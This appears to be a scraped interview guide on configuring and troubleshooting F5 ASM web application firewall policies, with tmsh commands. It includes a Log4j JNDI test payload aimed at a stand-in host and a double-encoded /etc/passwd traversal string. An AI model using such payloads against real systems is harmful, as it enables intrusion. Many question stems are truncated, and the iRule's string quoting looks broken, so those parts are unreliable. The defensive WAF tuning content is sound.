F5 ASM (BIG-IP WAF) Scenario Interview & Master Dashboard
15 scenario-led, evidence-backed interview questions for Senior Security Engineers, WAF Architects, and L2/L3 SecOps. Includes 5 SVG architecture flowcharts, Support ID triage runbooks, iRule event hook patterns, and tmsh proof commands.
Visual Architecture & Workflow Infographics
End-to-end traffic processing pipeline showing how an incoming HTTP connection traverses the LTM Virtual Server, HTTP Profile, ASM plugin, bd daemon inspection, and backend Pool Members.
The strict 5-stage progression from initial policy creation in Transparent Mode to Signature Staging, Enforcement Readiness, Traffic Learning Suggestions, and Final Blocking Enforcement.
Master Scenario Questions & Answers
bd crashes?
When traffic hits an ASM-enabled Virtual Server, the connection is handled by the tmm (Traffic Management Microkernel) daemon. The HTTP Profile parses the HTTP stream and hands off payload buffers to the bd (BIG-IP Daemon) via internal TMM plugin interfaces. The bd process performs normalization, decodes double URL/Base64 encoding, checks positive security constraints (URLs, parameters, file types), and evaluates negative security attack signature sets.
"F5 ASM is just a software firewall module inside BIG-IP. LTM routes the packet to ASM, ASM scans it for SQL injection, and if it passes, it forwards it to the server. If bd crashes, the Virtual Server just goes down."
"TMM owns the TCP/SSL socket. Once decrypted, TMM invokes the ASM plugin. The bd daemon (located in /var/log/ts/bd.log) analyzes the request against the active compiled policy stored in shared memory (pva / memory allocated via provision.asm). If bd crashes or runs out of allocated memory, watchdogs (bigstart restart bd) attempt restart. Depending on the Virtual Server's Fail-Open / Fail-Closed configuration, TMM will either bypass ASM or drop connections with an HTTP 500 reset to prevent un-inspected traffic from reaching the backend."
tmsh show sys process bd
tail -f /var/log/ts/bd.log
tmsh list sys provision asm db-memory
# Check if bd core dumped recently:
ls -lh /var/core/bd*
account_balance?
{"transfer_amount": 500} to negative numbers or injecting script tags in user profile JSON strings.
A robust ASM policy uses Hybrid Security. Negative Security is enforced by assigning the API Security Signature Set (checking SQLi, Command Injection, JSON parser exploits). Positive Security is enforced by importing the OpenAPI (Swagger) v3 JSON Spec into ASM under Security -> Application Security -> Content Profiles -> JSON Profiles, explicitly defining allowed JSON data types, max lengths, and enforcing strict JSON schema validation.
"We just turn on Attack Signatures for OWASP Top 10 and enable JSON parsing. ASM automatically knows what parameters are allowed and blocks parameter tampering."
"We configure an explicit JSON Profile attached to the URL path /api/v1/transfer. In the JSON profile, we set Validate JSON Payload = Enabled and upload the JSON schema. For parameter tampering on transfer_amount, we configure an explicit Parameter Entity: Data Type = Integer, Minimum Value = 1, Maximum Value = 100000. If an attacker submits a negative integer or decimal string, ASM triggers the violation Illegal Parameter Value and blocks the connection even if no signature is matched."
tmsh list asm policy /Common/Banking_API_Policy json-profiles
tmsh list asm policy /Common/Banking_API_Policy blocking-settings | grep -i illegal_parameter
Staging places entities (URLs, parameters, attack signatures) in a non-blocking evaluation mode. If a staged signature matches traffic, ASM logs the violation but does NOT block the request. The Enforcement Readiness Period (default 7 days) requires that an entity receive traffic from multiple unique IP addresses for 7 days without triggering false positives before it is flagged as "Ready to Enforce". Disabling staging prematurely causes un-tuned signatures to immediately block valid production payload formats.
"Staging is just a test mode. Automatic policy building creates the policy automatically, while manual policy building requires us to add URLs manually. If we turn off staging, it just makes the security policy active immediately."
"Automatic Policy Building uses the Real Traffic Policy Builder to observe traffic patterns, automatically adjust parameter lengths, and recommend rule acceptances based on hit thresholds. Manual Policy Building requires the engineer to explicitly review Learning Suggestions. During an emergency zero-day patch, instead of taking the ENTIRE signature set out of staging, we isolate the specific CVE Signature ID, disable staging ONLY for that targeted signature ID, verify its impact against staging logs, and keep the rest of the policy staging intact."
tmsh list asm policy /Common/Prod_WAF_Policy signature-sets
tmsh show asm policy /Common/Prod_WAF_Policy learning-suggestions
18374920184729103. Walk me through your step-by-step investigation process in F5 ASM GUI and CLI, and how you resolve the false positive without opening a security vulnerability.
The Support ID is a unique decimal string generated for every logged violation. To investigate:
1) In GUI: Navigate to Security -> Event Logs -> Application -> Requests, paste the Support ID in the search filter.
2) In CLI: Inspect syslog / remote SIEM or search /var/log/asm for the Support ID.
3) Analyze the exact violation (e.g. VIOLATION_ATTACK_SIGNATURE_DETECTED on parameter user_bio).
4) Fix by creating a targeted parameter exception or disabling the specific false-positive signature ID ONLY on that parameter, keeping global protection intact.
"I search the Support ID in Event Logs, see which attack signature blocked it, and disable that attack signature in the policy. Then I re-apply the policy."
"Disabling an attack signature globally opens a huge vulnerability hole. When inspecting Support ID 18374920184729103, I identify the triggering parameter user_bio. If the parameter legitimately requires HTML tags, I configure user_bio as a Parameter Entity with Allow HTML Data = Enabled, or override Signature ID 200001472 on parameter user_bio ONLY. This eliminates the false positive while ensuring SQLi and RCE signatures remain strictly enforced across all other parameters."
grep -i "18374920184729103" /var/log/asm
# Extract Full Request Details via MySQL Database query if local logging is enabled:
mysql -u root -p$(get_db_password) PRX -e "SELECT * FROM REQUESTS WHERE support_id='18374920184729103'\G"
1) Download the latest Live Update file (ASM-AttackSignatures-*.user) from F5 Downloads or perform automated Live Update.
2) Update the Signature File under Security -> Options -> Application Security -> Attack Signatures -> Live Update.
3) Newly updated signatures enter Staging by default.
4) Filter the Attack Signature list by CVE-2021-44228 or Signature Names (Log4j rce).
5) Select the specific Log4j signature IDs, click Enforce Selected, apply the policy, and verify enforcement using a non-destructive curl payload.
"We just update the signatures and wait for 7 days for the signatures to come out of staging automatically. You shouldn't force signatures out of staging because it causes false positives."
"For a critical RCE zero-day, waiting 7 days is unacceptable risk. After updating the signature file, we isolate the specific 4 Log4j signatures. We disable staging for those 4 signature IDs only. We test in a staging/canary environment using curl -H 'User-Agent: ${jndi:ldap://test.com/a}' https://api.firm.com. We verify the request is blocked with VIOLATION_ATTACK_SIGNATURE_DETECTED and Support ID generated, then push to production."
tmsh show sys software
tmsh list asm policy /Common/Prod_Policy attack-signatures | grep -B 2 -A 5 "200004152"
tmsh modify asm policy /Common/Prod_Policy attack-signatures modify { 200004152 { in-staging disabled } }
tmsh publish asm policy /Common/Prod_Policy
/login.php at 10 requests/sec per IP, bypassing traditional IP rate limiting.
F5 Advanced WAF Bot Defense uses a multi-layered classification engine: 1) Benign Bot Verification: Verifies search crawlers (Googlebot/Bingbot) via reverse DNS lookup and cryptographic verification. 2) Proactive Bot Defense (JS Challenge): Injects an asynchronous JavaScript payload into initial HTTP responses. Real browsers execute JS and solve mathematical proof-of-work, setting a browser cookie. Simple headless scripts fail the JS challenge. 3) Device Fingerprinting: Collects DOM attributes, canvas rendering hints, TLS client hello ciphers, and browser API signatures to identify botnet clusters even across changing IP addresses.
"We check the User-Agent header. If the User-Agent says 'Python-requests' or 'curl', we block it. If it says 'Googlebot', we allow it."
"User-Agent spoofing is trivial. Attackers impersonate Chrome User-Agents. F5 Bot Defense doesn't trust User-Agent strings. For mobile native apps where JS challenges break JSON APIs, we use Mobile SDK Integration or TPS-based Anomaly Mitigation with CAPTCHA/blocking triggered only when login failure rates cross baseline thresholds. For web traffic, JS Challenges + Device Fingerprinting identify bot clusters and block them before they reach backend authentication databases."
tmsh list security bot-defense profile /Common/Prod_Bot_Profile
tmsh show security bot-defense stats
/search.php?query=.... Total bandwidth is only 15 Mbps, but backend database CPU maxes out, crashing the web site.
Standard volumetric rate-limiting fails because 15 Mbps looks normal. Behavioral DoS (BDoS) continuously builds machine-learning baselines of two key metrics: Transaction Per Second (TPS) and Server Latency (Response Time). When backend latency spikes while TPS exceeds baseline, BDoS calculates Stress Score. It automatically analyzes anomalous request parameters (e.g. specific URI combinations or header order), dynamically generates a temporary mitigation signature, and enforces it at TMM speed without requiring manual engineer intervention.
"We create an IP rate-limiting rule in LTM to block any IP sending more than 100 requests per minute."
"IP rate limiting damages NATed enterprise users sharing single egress IPs. BDoS analyzes Server Stress. When stress exceeds threshold, BDoS enters Mitigation State using a 3-step escalation ladder: 1) Client JS Challenge, 2) Dynamic Signature Construction (blocking exact URI/header combinations unique to the attack traffic), 3) Rate Limiting heavy URLs. Once server latency drops back to baseline, BDoS automatically removes the dynamic signature."
tmsh show dos-profile /Common/Prod_BDoS_Profile
tmsh show security dos-protection behavioral-signatures
DataGuard inspects HTTP response payloads. Under Security -> Application Security -> Data Protection -> DataGuard, we enable Credit Card Numbers (using Luhn algorithm verification) and Social Security Numbers (SSN regex).
- Masking in Response: Replaces credit card digits with XXXX-XXXX-XXXX-1234 before the packet leaves F5 to the client.
- Masking in Log: Ensures sensitive parameter values in request logs are masked with asterisks in SIEM/syslog output.
Custom regex patterns (e.g. employee ID EMP-[0-9]{6}) are added under Custom Patterns.
"DataGuard blocks any request that contains a credit card number and sends a 500 error back to the user."
"DataGuard offers two enforcement choices: Mask Data (which preserves user application flow by scrubbing the sensitive numbers in-flight) vs Block Request (which aborts response delivery). In production, we select Mask Data for Credit Cards/SSNs to maintain availability while preventing PCI-DSS/HIPAA violations. Exception URIs (e.g. encrypted payment gateway endpoints) are added to DataGuard Exception Lists to prevent CPU overhead on binary file downloads."
tmsh list asm policy /Common/Prod_Policy dataguard
.jpg extensions or chunked transfer encoding. How do you configure File Type and Parameter Security in ASM to block this?
/upload.php accepts multipart form uploads. An attacker renames shell.php to shell.php.jpg and injects PHP code into image EXIF metadata.
1) File Type Enforcement: In ASM, configure explicit Allowed File Types (pdf, jpg, png) with length limits. Disallow dangerous extensions (php, exe, jsp, asp).
2) Disallow Disallowed File Types & Double Extensions: Enable HTTP Protocol Compliance check for URL/File Name metacharacters and null byte injections (%00).
3) Multipart Body & ICAP Integration: Set parameter type to File Upload. For full malware prevention, route multipart payloads via ASM Internal ICAP Profile to an external Antivirus engine (e.g. ICAP server) for deep payload scanning before saving to disk.
"We add .jpg to allowed file types and turn on file upload attack signatures."
"Attacking file uploads relies on extension deception. In ASM, we configure the parameter file_attachment as Data Type = File Upload. We enforce Check File Content, disallow execution permissions on the destination URL, and enable Chunked Transfer Encoding Normalization in HTTP Protocol Compliance to prevent evasion where payload fragments cross chunk boundaries."
tmsh list asm policy /Common/Prod_Policy file-types
tmsh list asm policy /Common/Prod_Policy http-protocols
ASM_REQUEST_VIOLATION to extract the Support ID, client IP, and violation details, inject a custom JSON error response for API clients, and forward high-speed syslog logs to a remote SIEM.
We use the ASM_REQUEST_VIOLATION iRule event hook. When a violation is triggered, ASM passes control to the iRule. We extract violation details using ASM::violation_data, check if the request header Content-Type or URI path contains /api/, and send a customized JSON payload using HTTP::respond 403 containing the exact Support ID.
when ASM_REQUEST_VIOLATION {
set supp_id [ASM::support_id]
set client_ip [IP::client_addr]
set viol_names [ASM::violation_data]
# Check if client expects JSON API response
if { [HTTP::header "Accept"] contains "application/json" || [HTTP::uri] starts_with "/api/" } {
set json_resp '{"error": "Access Denied", "code": 403, "support_id": "'$supp_id'", "client_ip": "'$client_ip'"}'
ASM::payload replace 0 [ASM::payload length] "" # Clear standard payload
HTTP::respond 403 content $json_resp "Content-Type" "application/json" "Access-Control-Allow-Origin" "*"
}
}
Unlike standard LTM objects synchronized via CMI (Control Plane Management Infrastructure), ASM policies consist of compiled binary files, XML structures, and MySQL/SQLite database tables. Dual un-synchronized edits create a Policy Version Conflict. To resolve:
1) Identify the authoritative unit containing the correct security policy.
2) In GUI: Go to Device Management -> Overview -> Sync, select the authoritative device, and select Overwrite Sync (Push Device to Group).
3) If database sync stalls, restart the sync daemon: bigstart restart asm_config_server.
tmsh run sys config-sync to-group /Common/Sync_Failover_Group
# Force ASM Config Server Restart if Sync process locks:
bigstart restart asm_config_server
tail -f /var/log/asm
%252e%252e%252fetc%252fpasswd (double encoded ../etc/passwd) attempting to bypass string-matching signature engines.
ASM performs Input Normalization inside the bd engine BEFORE running any signature matching:
1) Decoding Pass: Performs recursive URL decoding, HTML entity decoding, and Unicode normalization. Double-encoded bytes are reduced to canonical ASCII form before signature evaluation.
2) Protocol Compliance: Enforces HTTP Protocol Compliance Checks (e.g. blocking Null Bytes %00, multiple Content-Length headers, or mismatched Transfer-Encoding and Content-Length to prevent HTTP Request Smuggling).
3) Parameter Pollution: Standardizes duplicate parameter names (?user=admin&user=guest) according to configured policy rules.
tmsh list asm policy /Common/Prod_Policy http-protocols
/api/v2/payments/refund), but WAF team was not notified. ASM begins blocking all legitimate refund requests with Illegal URL violations.
1) Import OpenAPI YAML/JSON under Security -> Application Security -> API Security -> OpenAPI Files.
2) ASM automatically constructs Allowed URLs, Allowed Methods (GET/POST/PUT/DELETE), Parameter Data Types, and JSON Schemas based on the spec.
3) Schema Drift Resolution: If developers deploy new endpoints without updating the WAF spec, ASM triggers Illegal URL / Illegal Parameter.
To automate this in DevOps environments, integrate F5 AS3 (Application Services 3 Extension) or declarative REST API calls (/mgmt/tm/asm/tasks/import-openapi) directly into the GitLab/GitHub Actions CI/CD pipeline so schema updates publish synchronously with code deployments.
curl -sk -u admin:password -X POST https://bigip-mgmt/mgmt/tm/asm/tasks/import-openapi \
-H "Content-Type: application/json" \
-d '{"file": "swagger_v2.json", "policyReference": {"link": "https://localhost/mgmt/tm/asm/policies/HASH_ID"}}'
/var/log/asm logs are being truncated due to high traffic volume. How do you configure an un-throttled Remote Logging Profile with High-Speed Logging (HSL), and how do you debug bd memory consumption using tmsh and top?
Local logging to disk is rate-limited to protect F5 management CPU and storage. 1) High-Speed Logging (HSL): Configure a Pool of remote SIEM syslog servers in LTM. Create a Logging Profile under Security -> Event Logs -> Application -> Logging Profiles. Select Remote Storage = High Speed Logging, assign the HSL Pool, format using Key-Value pairs or CEF (Common Event Format). 2) HSL Performance: HSL bypasses management Linux syslog and streams logs directly from TMM microkernel via hardware/network interfaces, handling 100,000+ EPS with negligible CPU impact.
tmsh create ltm pool /Common/Splunk_HSL_Pool members add { 10.10.50.100:514 }
tmsh list sys process bd
top -b -n 1 | grep bd
/var/log/ts/bd.log, /var/log/asm), database utilities, and tmsh commands every Senior F5 ASM Engineer must master for emergency incident response?
A Senior F5 ASM Engineer relies on these critical CLI tools:
- /var/log/ts/bd.log: Main ASM engine daemon log (debug violation evaluation, policy compilation errors).
- /var/log/asm: System & administrative events (policy changes, sync failures, Live Updates).
- asm_start / asm_stop: Emergency restart of ASM subsystem without restarting full LTM TMM.
- tmsh show asm policy-status: View active policy enforcement state across Virtual Servers.
tail -f /var/log/ts/bd.log # Engine trace
tail -f /var/log/asm # ASM general events
bigstart status bd # Check bd process status
tmsh list asm policy /Common/Policy_Name active-version
tmsh show sys provision asm # Check RAM allocation